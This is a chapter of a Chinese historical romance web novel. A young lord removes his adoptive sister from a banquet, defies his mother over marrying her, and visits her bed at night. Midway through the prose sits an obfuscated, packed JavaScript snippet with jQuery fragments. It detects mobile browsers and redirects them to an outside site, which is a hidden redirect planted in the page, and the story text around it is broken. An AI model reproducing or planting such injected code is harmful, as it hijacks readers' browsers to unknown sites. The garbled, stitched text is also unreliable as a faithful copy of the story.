陆泊岩奉旨休沐在家,身边监看举动的眼线不在少数,他本不该出门,却在得知韵禾被母亲带来赴宴后,想也不想赶过来。
他实在放心不下。
撞见宋茂更证实猜测,陆泊岩心情差到极点,出现在席间时,眉间凝着的霜色依旧未化开,周身寒气逼人,向国公夫人见礼时语气冷淡,一旁的姜家老夫人只得他一个敷衍地颔首。
楚氏同样因为他的出现印证猜度,顾及身在国公府强挂笑容维持体面,语气不由加重:“你不在屋中养病,来此做什么?”
是责问陆泊岩,亦是提醒旁人他带病在身。
国公夫人不清楚他们家事,倒是知晓他在朝中处境,当他受太子威压,又在病中才如此失度。
笑着打圆场道:“三郎既抱恙,想是有要事才来此。”
陆泊岩:“今日来看诊的太医说有秘方可治体寒之症,儿子命人接韵儿过府瞧病,听说她随母亲赴宴,这才寻来。”
如此敷衍的推辞,楚氏岂会听不出。
“提前离席有失礼数,待回去再教太医瞧过不迟。”
“宫里太医长久待在咱府上不妥当,母亲陪着国公夫人说话,儿子这就带韵儿回府,免得误了太医的差事。”陆泊岩语气强硬。
哪是请医问药,分明是当众夺人。
楚氏指尖猛地掐进掌心,笑意僵在唇边。
国公夫人端着和蔼的笑,一派雍容,“既是太医候着,三郎快去吧。”
见韵禾呆站着不动,陆泊岩出声唤她:“韵儿。”
韵禾看看他,又看回楚氏,讨好地唤了声“母亲”,等她发话。
继续唤母亲是楚氏准的,为着在人前落一个善待养女的好名声,本以为可以不在乎这一个称呼,当下听来异常刺耳。
不禁揣度,在她心中是以何身份唤这声母亲?养女,还是未来儿媳?
不怪楚氏多想,韵禾的确存着私心。
她意识到楚氏不肯接纳自己后,下意识在她跟前卖乖,想拿多年“母女情分”赌她几分不忍。
哪怕希望渺茫。
装乖巧她早练得炉火纯青,拿来一用没什么损失。
楚氏不应。
韵禾转向陆泊岩,摆出自己的态度:“哥哥,我想在此陪母亲和国公夫人说话,可以吗?”
陆泊岩挪到她跟前,不动声色扣住纤细腕骨,不容置喙,“韵儿,不好教太医久候。”
楚氏不欲看二人在跟前作戏,垂眸扫过他紧扣韵禾手腕的手,强压愠怒道:“回去吧。”
陆泊岩颔首,“知道母亲疼韵儿,但儿子既答应父亲照顾好她,定会周全她的全部事宜。”
说到此处,特意顿了几息,接说:“包括她的婚事,所以母亲无须费心操劳。”
话摆在明面上,国公夫人再不明白也猜出一二,见楚氏脸色一阵青白,率先开口:“三郎孝心可嘉,但当娘的哪有不为儿女操心的,你们好我们长辈才踏实……快些回去吧。”
陆泊岩向国公夫人赔了礼,不顾周遭人诧异的目光,拉着韵禾离开。
马车驶离国公府,韵禾侧眸瞧他紧绷的侧脸,抿唇笑起来。
“笑什么?”陆泊岩转过脸,没好气道。
心说,看不出他在气恼嘛,分明交代过不让她随意出门。
“哥哥这是……”韵禾点着他下垂的唇瓣,“吃味了?”
“是,吃味。”陆泊岩似笑非笑睨着她:“所以往后,韵儿少看旁人。”
乌眸流转出狡黠光华,她问:“若是看了呢?”
陆泊岩眸底暗潮翻涌,声音低得只有彼此能闻:“那我便将你锁在身边,日日夜夜只许看我一人。”
*
陆泊岩没在别院待太久,瞧着时辰回了侯府。
门口早有小厮垂首候着,称楚氏交代,让他回府即刻去见。
陆泊岩略一颔首,径自来到瑞萱堂。
进门先闻得一缕浓重的檀香气息,再抬头,屋内无人侍候,楚氏独自端坐于紫檀嵌玉榻上,身上衣衫未换,深绛紫缕金褙子衬得面色愈发肃然。
她常燃来静心,但今日自从国公府归来一并燃了三炉,也难压抑心头烦闷。
陆泊岩在几步外站定,躬身行礼:“母亲。”
楚氏冷哼:“你眼里还有我这个母亲吗?”
“儿子不敢不孝。”
“不敢?”楚氏冷笑,眼角细细的纹路因激动而微微颤动,开门见山道:“我且问你,你对那丫头动心思了?”
“是。”陆泊岩答得干脆,澄澈目光直直投向楚氏,以彰显自己的决心。
楚氏早有预料,亲耳听他承认仍倒吸一口凉气,紧紧扣住扶手上嵌的冷玉,指节泛出青白。
“你忘了在你父亲跟前立的誓了?”
“没忘。”
楚氏声音紧得发颤,见他仍端着一派从容,更是气不打一处来,“那你还敢动这样的歪心思!”
“儿子情难自已。”
情难自已四字落地,屋里静得能听见楚氏短而急的呼吸声。
陆泊岩顿了顿,快速收敛所有情绪,平静道:“父亲不准儿子娶韵儿,是不舍她卷入纷争,儿子只要护她一生不受纷扰,就算不得违誓。”
“她嫁于你可是要成为侯夫人的,这府上将来的主母,操持中馈是小,更需替你周旋京中官眷,乃至宫中的贵人,稍有差池便是灾祸,你拿什么保障她不受纷扰?”
“儿子会为她周全。”
楚氏忽而笑了,笑得凄厉又疲惫,“周全?你当这侯府主母的位置是好坐的,自你记事起,可见我有一日松快?况且如今你身居高位,自己命途尚在刀尖上,竟敢妄谈替她周全?我瞧你是被情爱蒙蔽心智。”
楚氏越说面上愠色越浓,忽有一个念头闪过脑海,两道细长的眉峰骤然蹙紧,“你——你莫不是早动了心思,才借着由头送她回姜家认亲?”
“儿子的确很早起了心思,但让她认祖归宗只为护着她,没有邪念。”陆泊岩早已想好如何面对楚氏,每一道问几乎都在心中推演过百遍,面上应答如流,不见半分波澜。
唯独说到这句,目光不动声色偏开。
送韵禾回姜家是存了私心的,他骗不过自己。
“很早……”楚氏喃喃重复,忽然像是被抽去了力气,向后靠入锦垫之中。
那女人勾走老侯爷的魂,如今她的女儿又占着自己儿子的心……
当初不该心软的!到底是养出祸事了……
楚氏视线描着陆泊岩英挺的眉眼,坚定神色下掩藏着情柔,简直跟他爹一模一样,都是为一女子,执拗得令人窒息。
两个倔强的影子重叠,她心底蓦地涌起一阵悲凉,她错过一次了,不想再错第二次。
闭上眼,再睁开时,眼底只剩一片冰冷的决绝:“总之我绝不答应,只要我活着,就不准她以儿媳妇的身份进陆家门!”
香炉里升出来的烟雾,丝丝缕缕,散入化不开的沉寂中。
窗外轻风卷落一阵花雨,花瓣掠过青砖,无声堆积在门槛边。
过了许久,陆泊岩沉声开口:“如此,只能请母亲恕儿子不孝了。”
*
夜半时分,韵禾将将有些睡意,忽觉身侧一沉,旋即一只手掌抚上额间。
半梦半醒间,她翻了个身躲开,转瞬被一道沉稳力道拢住。
温热气息拂过耳廓,酥痒之感彻底将她从混沌中拉离。
“榻上有人”的念头令她心神一颤,张口便唤莲久。
身后传来低笑,嗓音沾着夜露,又湿又黏,却与白日宋茂目光带来的令人浑身不滋滋的黏腻全然不同。
或因声音极具磁性,钻到身体里直教人骨头酥软,或因她太过熟悉,立时辨出声音的主人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100281|193147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧绷的心神松懈,又有话音贴着耳畔送进来:“唤她进来做什么?”
韵禾侧过脸来,屋内未点烛火,帐内昏暗,只隐约看见轮廓,“哥哥怎么这时候过来?”
陆泊岩:“答应过你,偷偷来。”
白日去过一趟国公府定然已引起太子察觉,照理他不该再冒险出门。
可他还是来了。
他实在想她,尤其是见过她被其他人惦记,又被母亲严词警告,想见她的念头愈发强烈。迫切渴望感受她的温度,用以确认,她是属于他的。
“原是这个偷偷。”韵禾失笑,不由想起夜半三更会佳人的风流桥段,打趣道:“哥哥在学风流浪子吗?”
陆泊岩挑眉,“风流浪子可不甘心只抱着你。”
韵禾仗着昏暗帐内视物不清,以为他瞧不见自己颊上飞红,大着胆子追问:“那还会做什么?”
她眼中闪烁的光格外清亮,轻启朱唇玩笑时露出贝齿,明晃晃为陆泊岩的旖旎心思指路。
哪里是询问,分明是邀约。
陆泊岩喉结微动,俯首含住她未尽的尾音。
他不敢吻得太深,浅浅碾过唇瓣,待要抽离时,她的舌尖悄然探出,怯生生挨着他的唇线,柳枝拨水一般轻颤着拂过他的下唇。
陆泊岩呼吸骤沉,掌心捧住她发烫的脸颊,反客为主,将蜻蜓点水的一吻化作绵长掠夺。
直到听见她破碎的告饶。
“哥......哥哥......”
得以解脱,韵禾毫不迟疑扭过头,揉着快要扭断的脖颈,故意抱怨:“好痛。”
陆泊岩手掌覆盖上去,替代她轻揉慢按,少顷,停住动作,静静感受脉搏在指腹下轻跳。
“韵儿,你胆子太大了。”
“哥哥是恶人先告状!”
恶人?
陆泊岩垂眸扫一眼挡在二人之间的被衾。
“眼下我只恨自己不是恶人。”
他吐出一声浊息,指尖松开,转而轻搭在她腰际,“继续睡吧。”
韵禾没回应,她还在思索他话中深意。
空气凝滞许久,她轻声唤他:“哥哥。”
“嗯?”
“你想要我吗?”
问完这句,韵禾明显感受到身后人的僵硬。
陆泊岩脊背紧绷,喉结剧烈滚动了一下,又一下,强力压下蹦到嘴边的肯定,哑着嗓子问她:“谁教你的这些?”
“我在书里看的。”她声如蚊呐。
不必问也知不是什么正经书。
陆泊岩眸中凝起一团墨色,黑压压一团乌云似的,晕不开。
“以后莫要再看了,更不许学来说与人听。”
听他声音沉闷冷硬,和生气时一样,韵禾忙转过身,软软偎着他撒娇:“我只是跟哥哥玩笑,别恼嘛。”
“没恼。”陆泊岩勉强挤出一抹笑,不确定她是否能看见,又在她眉心落下一枚轻吻。
他通身僵硬,所有的力气都用来压制暗潮,更多的话难以出口,只道:“真没恼,快睡吧。”
“哥哥呢?”
“待你睡着,我去睡厢房。”
陆泊岩拥着她,伴着均匀呼吸声,竟也朦胧睡去,直至门外传来莲久的叩门呼唤。
“公子,宫中有急报。”
陆泊岩看一眼窗外漆黑的天色,瞬时清醒。
身边熟睡的人似乎也被动静惊动,眼睛眯出一条缝,含糊地发出一声轻问:“何事?”
“无事,韵儿踏实睡罢。”他温声应着,刚坐起身,被衾里深处一只手攥住衣角,“哥哥。”
小姑娘唤一声便没了下文,只闻得浅浅呼吸声。
陆泊岩拨开捏在衣角上的纤指放回被衾,又仔细拢好被角。
推门出来,正见关沧捧着披风候在廊下,不待他询问便低声禀道:“公子,陛下急召。”